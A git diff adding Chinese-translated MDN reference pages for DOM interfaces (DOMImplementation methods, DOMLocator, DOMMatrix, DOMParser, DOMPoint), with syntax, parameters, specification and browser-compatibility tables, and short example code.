+ +

语法

+ +
doc = document.implementation.createDocument(namespaceURI, qualifiedNameStr, documentType);
+ +

参数

+ +
+
namespaceURI
+
被创建的{{domxref("DOMString")}} 文档的namespace URI 是namespace URI ,如果文档不属于任何namespace URI 就为null.
+
+ +
+
qualifiedNameStr
+
 {{domxref("DOMString")}} 是否包含要创建文档的限定名称,即可选的前缀和冒号,以及本地的根元素。
+
+ +
+
documentType {{optional_inline}}
+
文档的 DocumentType 默认为null.
+
+ + + +

例子

+ +
var doc = document.implementation.createDocument ('http://www.w3.org/1999/xhtml', 'html', null);
+var body = document.createElementNS('http://www.w3.org/1999/xhtml', 'body');
+body.setAttribute('id', 'abc');
+doc.documentElement.appendChild(body);
+alert(doc.getElementById('abc')); // [object HTMLBodyElement]
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-domimplementation-createdocument', 'DOMImplementation.createDocument')}}{{Spec2('DOM WHATWG')}}[现时标准] +

createDocument() 的返回类型从 {{domxref("Document")}} 修改为{{domxref("XMLDocument")}}.
+ createDocument()的第三个参数,文档类型,现在是可选的,默认为null.

+
{{SpecName('DOM3 Core', 'core.html#Level-2-Core-DOM-createDocument', 'DOMImplementation.createDocument')}}{{Spec2('DOM3 Core')}}[过时]自{{SpecName("DOM2 Core")}}无改变
{{SpecName('DOM2 Core', 'core.html#Level-2-Core-DOM-createDocument', 'DOMImplementation.createDocument')}}{{Spec2('DOM2 Core')}}[过时]初始定义.
+ +

浏览器支持

+ + + +

{{Compat("api.DOMImplementation.createDocument")}}

+ +

另请参见

+ + diff --git a/files/zh-cn/web/api/domimplementation/createdocumenttype/index.html b/files/zh-cn/web/api/domimplementation/createdocumenttype/index.html new file mode 100644 index 0000000000..13e290d87c --- /dev/null +++ b/files/zh-cn/web/api/domimplementation/createdocumenttype/index.html @@ -0,0 +1,78 @@ +--- +title: DOMImplementation.createDocumentType() +slug: Web/API/DOMImplementation/createDocumentType +tags: + - DOM + - DOMImplementation +translation_of: Web/API/DOMImplementation/createDocumentType +--- +

{{ ApiRef("DOM")}}

+ +

DOMImplementation.createDocumentType() 方法返回一个 {{domxref("DocumentType")}} 对象,它可以在文档创建时用在 {{domxref("DOMImplementation.createDocument")}} ,或者通过{{domxref("Node.insertBefore()")}} 或 {{domxref("Node.replaceChild()")}} 等方法放在文档中。

+ +

语法

+ +
var doctype = document.implementation.createDocumentType(qualifiedNameStr, publicId, systemId);
+ +

参数

+ +
+
qualifiedNameStr
+
 {{domxref("DOMString")}} 类型的值,包含一个合规的名称,如 svg:svg
+
+ +
+
publicId
+
 {{domxref("DOMString")}} 类型的值, 包含 PUBLIC 标识符。
+
+ +
+
systemId
+
 {{domxref("DOMString")}} 类型的值,包含 SYSTEM 标识符。
+
+ +

示例

+ +
var dt = document.implementation.createDocumentType('svg:svg', '-//W3C//DTD SVG 1.1//EN', 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd');
+var d = document.implementation.createDocument('http://www.w3.org/2000/svg', 'svg:svg', dt);
+alert(d.doctype.publicId); // -//W3C//DTD SVG 1.1//EN
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-domimplementation-createdocumenttype', 'DOMImplementation.createDocumentType')}}{{Spec2('DOM WHATWG')}}与 {{SpecName("DOM3 Core")}}相比无改动
{{SpecName('DOM3 Core', 'core.html#Level-2-Core-DOM-createDocType', 'DOMImplementation.createDocumentType')}}{{Spec2('DOM3 Core')}}与 {{SpecName("DOM2 Core")}} 相比无改动
{{SpecName('DOM2 Core', 'core.html#Level-2-Core-DOM-createDocType', 'DOMImplementation.createDocumentType')}}{{Spec2('DOM2 Core')}}初次定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMImplementation.createDocumentType")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/domimplementation/createhtmldocument/index.html b/files/zh-cn/web/api/domimplementation/createhtmldocument/index.html new file mode 100644 index 0000000000..558f4bad6c --- /dev/null +++ b/files/zh-cn/web/api/domimplementation/createhtmldocument/index.html @@ -0,0 +1,92 @@ +--- +title: DOMImplementation.createHTMLDocument +slug: Web/API/DOMImplementation/createHTMLDocument +translation_of: Web/API/DOMImplementation/createHTMLDocument +--- +

{{ApiRef("DOM")}}{{SeeCompatTable}}

+ +

概述

+ +

该方法 (属于document.implementation) 用来创建一个新的HTML文档.

+ +

语法

+ +
var doc = document.implementation.createHTMLDocument(title);
+
+ + + +

例子

+ +

下面的例子演示如何创建了一个新的HTML文档,并把它插入到当前文档的一个{{ HTMLElement("iframe") }}中.

+ +

查看在线演示

+ +

例子中的HTML代码如下:

+ +
<body>
+  <p>Click <a href="javascript:makeDocument()">here</a> to create a new document and insert it below.</p>
+  <iframe id="theFrame" src="about:blank" />
+</body>
+
+ +

例子中用JavaScript实现的makeDocument()方法如下:

+ +
function makeDocument() {
+  var frame = document.getElementById("theFrame");
+
+  var doc = document.implementation.createHTMLDocument("New Document");
+  var p = doc.createElement("p");
+  p.innerHTML = "This is a new paragraph.";
+
+  try {
+    doc.body.appendChild(p);
+  } catch(e) {
+    console.log(e);
+  }
+
+  // 将新建的HTML文档放到iframe中.
+
+  var destDocument = frame.contentDocument;
+  var srcNode = doc.documentElement;
+  var newNode = destDocument.importNode(srcNode, true);
+
+  destDocument.replaceChild(newNode, destDocument.documentElement);
+}
+
+ +

代码 4-12 行创建了一个新的HTML文档,并在里面插入一些内容. 第4行 createHTMLDocument()构造了一个标题为"New Document"的HTML文档. 5-6行创建了一个段落元素并在里面插入了一些内容, 8-12行将新建的段落元素插入到HTML文档中.

+ +

16行获取了iframe的contentDocument 属性.这是我们将要插入新建的HTML文档的地方. 下面的两行将新建的HTML文档插入到了iframe的根元素中.这样,我们用20行代码实现了用一个新建的HTML文档替换iframe中原有文档的目的.

+ +

备注

+ +

新生成的HTML文档有如下的初始结构:

+ +
<!doctype html>
+<html>
+<head>
+<title>title</title>
+</head>
+<body>
+</body>
+</html>
+
+ +

译者注:

+ +
alert(document.implementation.createHTMLDocument("myTitle").documentElement.outerHTML)
+
+//<html><head><title>myTitle</title></head><body></body></html>
+
+ +

规范

+ + + +

{{ languages( { "en": "en/DOM/DOMImplementation.createHTMLDocument" } ) }}

diff --git a/files/zh-cn/web/api/domimplementation/hasfeature/index.html b/files/zh-cn/web/api/domimplementation/hasfeature/index.html new file mode 100644 index 0000000000..daa355c026 --- /dev/null +++ b/files/zh-cn/web/api/domimplementation/hasfeature/index.html @@ -0,0 +1,117 @@ +--- +title: DOMImplementation.hasFeature +slug: Web/API/DOMImplementation/hasFeature +translation_of: Web/API/DOMImplementation/hasFeature +--- +

{{ApiRef("DOMImplementation")}}

+

The DOMImplementation.hasFeature() method returns a {{domxref("Boolean")}} flag indicating if a given feature is supported.

+

The different implementation fairly diverged in what kind of features was reported. The latest version of the spec settled to force this method to always return true, except for SVG features, where the functionnality was accurate and in use.

+

Syntax

+
flag = document.implementation.hasFeature(feature, version);
+

Parameters

+
+
+ feature
+
+ Is a {{domxref("DOMString")}} representing the feature name.
+
+ version
+
+ Is a {{domxref("DOMString")}} representing the version of the specification defining the feature.
+
+

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-domimplementation-hasfeature', 'DOMImplementation.hasFeature')}}{{Spec2('DOM WHATWG')}}Modified to always return true except for SVG features.
{{SpecName('DOM3 Core', 'core.html#ID-5CED94D7', 'DOMImplementation.hasFeature')}}{{Spec2('DOM3 Core')}}No change from {{SpecName("DOM2 Core")}}
{{SpecName('DOM2 Core', 'core.html#ID-5CED94D7', 'DOMImplementation.hasFeature')}}{{Spec2('DOM2 Core')}}No change from {{SpecName("DOM1")}}
{{SpecName('DOM1', 'level-one-core.html#ID-5CED94D7', 'DOMImplementation.hasFeature')}}{{Spec2('DOM2 Core')}}Initial definition.
+

Browser compatibility

+

{{CompatibilityTable}}

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Always true for non-SVG features.{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Always true for non-SVG features.{{CompatUnknown}}{{CompatGeckoMobile("19.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+

See also

+ diff --git a/files/zh-cn/web/api/domimplementation/index.html b/files/zh-cn/web/api/domimplementation/index.html new file mode 100644 index 0000000000..65cf86e62a --- /dev/null +++ b/files/zh-cn/web/api/domimplementation/index.html @@ -0,0 +1,189 @@ +--- +title: DOMImplementation +slug: Web/API/DOMImplementation +tags: + - API + - DOM + - Interface + - Reference +translation_of: Web/API/DOMImplementation +--- +

{{ ApiRef("DOM") }}

+ +

DOMImplementation 接口代表了一个对象,这个对象提供了不依赖于任何document的方法。这个对象可以通过{{domxref("Document.implementation")}}属性获得

+ +

属性

+ +

这个接口没有特定的属性,并且也没有继承到任何属性。

+ +

方法

+ +

没有继承的方法

+ +
+
{{domxref("DOMImplementation.createDocument()")}}
+
创建并返回一个 {{domxref("XMLDocument")}}对象.
+
{{domxref("DOMImplementation.createDocumentType()")}}
+
创建并返回一个 {{domxref("DocumentType")}}对象.
+
{{domxref("DOMImplementation.createHTMLDocument()")}}
+
创建并返回一个 {{domxref("Document")}}对象.
+
{{domxref("DOMImplementation.hasFeature()")}}
+
返回一个是否支持所给定特性的{{domxref("Boolean")}}值。这个方法是不可靠的,仅用于兼容性目的:除了SVG相关的查询,它总是返回 true。旧浏览器的行为非常不一致
+
Returns a {{domxref("Boolean")}} indicating if a given feature is supported or not. This function is unreliable and kept for compatibility purpose alone: except for SVG-related queries, it always returns true. Old browsers are very inconsistent in their behavior.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#domimplementation', 'DOMImplementation')}}{{Spec2('DOM WHATWG')}}Removed the getFeature() method.
+ Added the createHTMLDocument() method.
+ Modified the return type of createDocument() from {{domxref("Document")}} to {{domxref("XMLDocument")}}.
{{SpecName('DOM3 Core', 'core.html#ID-102161490', 'DOMImplementation')}}{{Spec2('DOM3 Core')}}Added the getFeature() method (never implemented by any user agent).
{{SpecName('DOM2 Core', 'core.html#ID-102161490', 'DOMImplementation')}}{{Spec2('DOM2 Core')}}Added the createDocument() and createDocumentType() methods.
{{SpecName('DOM1', 'level-one-core.html#ID-102161490', 'DOMImplementation')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}6.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
createHTMLDocument(){{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
createDocument(){{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
hasFeature(){{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}} [1]6.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
createDocumentType(){{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
createHTMLDocument(){{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
createDocument(){{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
hasFeature(){{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
createDocumentType(){{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Since Gecko 19, hasFeature() mostly returns true.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/domlocator/index.html b/files/zh-cn/web/api/domlocator/index.html new file mode 100644 index 0000000000..a92dedd3ab --- /dev/null +++ b/files/zh-cn/web/api/domlocator/index.html @@ -0,0 +1,50 @@ +--- +title: DOMLocator +slug: Web/API/DOMLocator +translation_of: Web/API/DOMLocator +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +
+

NOTE: This is not implemented in Mozilla

+
+ +

Indicates a location such as where an error occurred. Returned by DOMError.location.

+ +

Properties

+ +
+
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
+ +

Methods

+ +

This interface neither implements, nor inherits, any method.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/dommatrix/index.html b/files/zh-cn/web/api/dommatrix/index.html new file mode 100644 index 0000000000..e142998d45 --- /dev/null +++ b/files/zh-cn/web/api/dommatrix/index.html @@ -0,0 +1,181 @@ +--- +title: DOMMatrix +slug: Web/API/DOMMatrix +translation_of: Web/API/DOMMatrix +--- +

{{APIRef("Geometry Interfaces")}}{{SeeCompatTable}}

+ +

DOMMatrix接口代表4x4矩阵,适合 2D 和3D 操作。

+ +

一个4x4矩阵适于描绘任何3D的旋转(rotation )和过渡(translation)。

+ +

此接口在Web workers里应该是可用的,虽然某些实现现在还不允许。

+ +

属性

+ +

此接口从{{domxref("DOMMatrixReadOnly")}}继承属性,虽然某些属性被修改为非只读的。

+ +
+
m11, m12, m13, m14, m21, m22, m23, m24, m31, m32, m33, m34, m41, m42, m43, m44
+
代表一个4x4矩阵的每个组成部分的double值。
+
a, b, c, d, e, f {{ReadOnlyInline}}
+
代表了2D旋转和过渡所需要的一个4x4矩阵的每个组成部分的double值。它们是这个矩阵的一些组成的别名: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
2D3D 等价值
am11
bm12
cm21
dm22
em41
fm42
+
+
+ +

方法

+ +

此接口从{{domxref("DOMMatrixReadOnly")}}继承方法。

+ +
+
{{domxref("DOMMatrixReadOnly.multiplySelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是原始矩阵乘以指定的矩阵{{domxref("DOMMatrix")}}的结果。
+
{{domxref("DOMMatrixReadOnly.preMultiplySelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是指定的矩阵{{domxref("DOMMatrix")}}乘以原始矩阵的结果。
+
{{domxref("DOMMatrix.translateSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是矩阵被指定向量转换后的结果。
+
{{domxref("DOMMatrix.scaleSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是矩阵的 x 和y维度被指定因子缩放后的结果,对齐指定原点。
+
{{domxref("DOMMatrix.scale3dSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是矩阵的 x, y和z维度被指定因子缩放后的结果,对齐指定原点。
+
{{domxref("DOMMatrix.scaleNonUniformSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是矩阵的 x, y和z维度被各自维度的指定因子缩放后的结果,对齐指定原点。
+
{{domxref("DOMMatrix.rotateSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是原始矩阵被指定角度旋转后的结果,对齐指定原点。
+
{{domxref("DOMMatrix.rotateFromVectorSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是原始矩阵被指定角度旋转后的结果,该角度在指定向量和 (1,0)之间,对齐指定原点。
+
{{domxref("DOMMatrix.rotateAxisAngleSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是原始矩阵被指定角度和指定向量旋转后的结果。
+
{{domxref("DOMMatrix.skewXSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是原始矩阵被指定因子沿x轴倾斜后的结果。
+
{{domxref("DOMMatrix.skewYSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是原始矩阵被指定因子沿y轴倾斜后的结果。
+
{{domxref("DOMMatrix.invertSelf()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},它的新内容是原始矩阵求逆后的结果。如果不能求逆,所有的组成部分会被设为NaN,并且is2D()返回 false
+
{{domxref("DOMMatrix.setMatrixValue()")}}
+
返回自身,一个{{domxref("DOMMatrix")}},描述了一个矩阵,它的变换(transformation)和被参数指定的CSS {{domxref("transform")}}函数一样。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Geometry Interfaces', '#dom-dommatrix', 'DOMMatrix') }}{{ Spec2('Geometry Interfaces') }}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
基本支持{{CompatGeckoDesktop(33)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
可用于 Web workers{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
基本支持{{CompatGeckoMobile(33)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
可用于 Web workers{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/domparser/domparser/index.html b/files/zh-cn/web/api/domparser/domparser/index.html new file mode 100644 index 0000000000..f57a39617a --- /dev/null +++ b/files/zh-cn/web/api/domparser/domparser/index.html @@ -0,0 +1,18 @@ +--- +title: DOMParser() +slug: Web/API/DOMParser/DOMParser +translation_of: Web/API/DOMParser/DOMParser +--- +

DOMParser() 构造函数新建一个 DOMParser 对象实例。

+ +

语法

+ +
var parser = new DOMParser();
+ +

参数

+ +

无.

+ +

返回值

+ +

一个新建的DOMParser 对象实例,可以通过这个对象的 parseFromString() 方法将字符串解析为 DOM 对象.

diff --git a/files/zh-cn/web/api/domparser/index.html b/files/zh-cn/web/api/domparser/index.html new file mode 100644 index 0000000000..6185aa0581 --- /dev/null +++ b/files/zh-cn/web/api/domparser/index.html @@ -0,0 +1,203 @@ +--- +title: DOMParser +slug: Web/API/DOMParser +tags: + - API + - DOM + - DOM Parsing + - Document + - XML + - 参考 +translation_of: Web/API/DOMParser +--- +
{{APIRef("DOM")}}
+ +

DOMParser 可以将存储在字符串中的 {{Glossary("XML")}} 或 {{Glossary("HTML")}} 源代码解析为一个 DOM {{domxref("Document")}}。

+ +
+

注意:{{domxref("XMLHttpRequest")}} 支持从URL可寻址资源解析XML和HTML,在其{{domxref("XMLHttpRequest.response", "response")}} 属性中返回Document

+
+ +

你可以使用{{domxref("XMLSerializer")}} 接口执行相反的操作 - 将DOM树转换为XML或HTML源。

+ +

对于HTML文档,您还可以通过设置 {{domxref("Element.innerHTML")}} 和{{domxref("Element.outerHTML", "outerHTML")}} 属性的值,将部分 DOM 替换为从HTML构建的新 DOM 树。还可以读取这些属性以获取对应于相应 DOM 子树的 HTML 片段。

+ +

语法

+ +
let domparser = new DOMParser()​​;
+ +

方法

+ +

{{domxref("DOMParser.parseFromString()")}}

+ +

语法

+ +
let doc = domparser.parseFromString(string, mimeType)
+ +

返回值

+ +

基于 mimeType 参数,返回 {{domxref("Document")}} 或 {{domxref("XMLDocument")}} 或其他文档类型。

+ +

参数

+ +

该方法接收 2 个必要参数:

+ +
+
string
+
要解析的 {{domxref("DOMString")}}。它必须包含 {{Glossary("HTML")}}、{{Glossary("xml")}}、{{Glossary("xhtml+xml")}} 或 {{Glossary("svg")}} 文档。
+
+
mimeType
+
+ +
+
一个 {{domxref("DOMString")}}。This string determines a class of the the method's return value. The possible values are the following:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
mimeTypedoc.constructor
text/html{{domxref("Document")}}
text/xml{{domxref("XMLDocument")}}
application/xml{{domxref("XMLDocument")}}
application/xhtml+xml{{domxref("XMLDocument")}}
image/svg+xml{{domxref("XMLDocument")}}
+ +

解析 XML

+ +

一旦建立了一个解析对象以后,你就可以使用它的 parseFromString 方法来解析一个 XML 字符串:

+ +
let parser = new DOMParser(),
+    doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+
+ +

错误处理

+ +

如果解析失败, DOMParser 不会抛出任何异常,而是会返回一个给定的错误文档:

+ +
<parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml">
+(error description)
+<sourcetext>(a snippet of the source XML)</sourcetext>
+</parsererror>
+
+ +

解析错误会显示在错误控制台,包括文档的地址和错误的源代码。

+ +

解析 SVG 或者 HTML 文档

+ +

DOMParser 也可以用来解析 SVG 文档 {{geckoRelease("10.0")}} 或者 HTML 文档 {{geckoRelease("12.0")}}。根据给定的 MIME 类型不同,parseFromString 方法可能返回三种不同类型的文档。如果MIME类型是 text/xml,则返回一个 XMLDocument,如果 MIME 类型是 text/svg+xml,则返回一个 SVGDocument,如果MIME类型是 text/html,则返回一个 HTMLDocument

+ +
let parser = new DOMParser();
+let doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+// 返回一个 Document 对象,但不是 SVGDocument,也不是 HTMLDocument
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingXMLSource, "image/svg+xml");
+// 返回一个 SVGDocument 对象,同时也是一个 Document 对象。
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html")
+// 返回一个 HTMLDocument 对象,同时也是一个 Document 对象。
+
+ +

DOMParser HTML 扩展

+ +
/*
+ * DOMParser HTML extension
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var proto = DOMParser.prototype,
+        nativeParse = proto.parseFromString;
+
+	// Firefox/Opera/IE throw errors on unsupported types
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
+			return;
+		}
+	} catch (ex) {}
+
+	proto.parseFromString = function(markup, type) {
+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('<!doctype') > -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return nativeParse.apply(this, arguments);
+		}
+	};
+}(DOMParser));
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM Parsing', '#the-domparser-interface', 'DOMParser')}}{{Spec2('DOM Parsing')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMParser", 3)}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/dompoint/dompoint/index.html b/files/zh-cn/web/api/dompoint/dompoint/index.html new file mode 100644 index 0000000000..2688405313 --- /dev/null +++ b/files/zh-cn/web/api/dompoint/dompoint/index.html @@ -0,0 +1,68 @@ +--- +title: DOMPoint.DOMPoint() +slug: Web/API/DOMPoint/DOMPoint +translation_of: Web/API/DOMPoint/DOMPoint +--- +
{{APIRef("DOM")}}
+ +

DOMPoint()构造函数创建并返回一个 {{domxref("DOMPoint")}} 对象,可提供部分或全部属性值作为其参数。

+ +

也可以通过调用静态方法 {{domxref("DOMPoint.fromPoint()")}} 来创建 DOMPoint 。此方法接受一个 {{domxref("DOMPointInit")}} 兼容对象(DOMPoint 或 {{domxref("DOMPointReadOnly")}})作为参数 。

+ +

语法

+ +
point = new DOMPoint(x, y, z, w);
+ +

参数

+ +
+
x {{optional_inline}}
+
x 坐标。
+
y {{optional_inline}}
+
y 坐标。
+
z {{optional_inline}}
+
z 坐标。
+
w {{optional_inline}}
+
透视值。
+
+ +

示例

+ +

示例首先创建了一个表示当前窗口左上角的 DOMPoint ,接着根据第一个点创建一个新的 DOMPoint 并将其在垂直和水平方向上偏移100px。

+ +
var windTopLeft = new DOMPoint(window.screenX, window.screenY);
+var newTopLeft = DOMPoint.fromPoint(windTopLeft);
+newTopLeft.x += 100;
+newTopLeft.y += 100;
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#dom-dompoint-dompoint', 'DOMPoint()')}}{{Spec2('Geometry Interfaces')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMPoint.DOMPoint")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/dompoint/index.html b/files/zh-cn/web/api/dompoint/index.html new file mode 100644 index 0000000000..293859c636 --- /dev/null +++ b/files/zh-cn/web/api/dompoint/index.html @@ -0,0 +1,100 @@ +--- +title: DOMPoint +slug: Web/API/DOMPoint +translation_of: Web/API/DOMPoint +--- +
{{APIRef("DOM")}}
+ +

DOMPoint 对象表示坐标系中的2D 或3D 点;它包括三维度的坐标值以及可选的透视值。DOMPoint 基于 DOMPointReadOnly, 但允许更改其属性值。

+ +

通常, 正 x 分量表示原点右侧的位置, 正 y 分量从原点向下, 正 z 分量从屏幕向外延伸 (换言之, 朝向用户)。

+ +

Constructor

+ +
+
{{domxref("DOMPoint.DOMPoint","DOMPoint()")}}
+
Creates and returns a new DOMPoint object given the values of zero or more of its coordinate components and optionally the w perspective value. You can also use an existing DOMPoint or DOMPointReadOnly or a {{domxref("DOMPointInit")}} dictionary to create a new point by calling the {{domxref("DOMPoint.fromPoint()")}} static method.
+
+ +

Methods

+ +

DOMPoint inherits methods from its parent, {{domxref("DOMPointReadOnly")}}.

+ +
+
{{domxref("DOMPointReadOnly.fromPoint", "fromPoint()")}}
+
Creates a new mutable DOMPoint object given an existing point or a {{domxref("DOMPointInit")}} dictionary which provides the values for its properties.
+
+ +

Properties

+ +

DOMPoint inherits properties from its parent, {{domxref("DOMPointReadOnly")}}.

+ +
+
{{domxref("DOMPointReadOnly.x", "DOMPoint.x")}}
+
The x coordinate of the DOMPoint.
+
{{domxref("DOMPointReadOnly.y", "DOMPoint.y")}}
+
The y coordinate of the DOMPoint.
+
{{domxref("DOMPointReadOnly.z", "DOMPoint.z")}}
+
The z coordinate of the DOMPoint.
+
{{domxref("DOMPointReadOnly.w", "DOMPoint.w")}}
+
The perspective value of the DOMPoint.
+
+ +

Examples

+ +

In the WebVR API, DOMPoint values are used to represent points in the coordinate space that the user's head mounted display exists in. In the following snippet, the position of the VR HMD can be retrieved by first grabbing a reference to the position sensor's current state using {{domxref("PositionSensorVRDevice.getState()")}}, then accessing the resulting {{domxref("VRPositionState")}}'s {{domxref("VRPositionState.position","position")}} property, which returns a DOMPoint. Note below the usage of position.x, position.y, and position.z.

+ +
function setView() {
+  var posState = gPositionSensor.getState();
+
+  if (posState.hasPosition) {
+    posPara.textContent = 'Position: x' + roundToTwo(posState.position.x) + " y"
+                                        + roundToTwo(posState.position.y) + " z"
+                                        + roundToTwo(posState.position.z);
+    xPos = -posState.position.x * WIDTH * 2;
+    yPos = posState.position.y * HEIGHT * 2;
+
+    if (-posState.position.z > 0.01) {
+      zPos = -posState.position.z;
+    } else {
+      zPos = 0.01;
+    }
+  }
+
+  /* ... */
+
+}
+ +
+

Note: See our positionsensorvrdevice demo for the full code.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#DOMPoint', 'DOMPoint')}}{{Spec2('Geometry Interfaces')}}Latest spec version is an ED.
+ +

Browser compatibility

+ + + +

{{Compat("api.DOMPoint")}}

+ +

See also

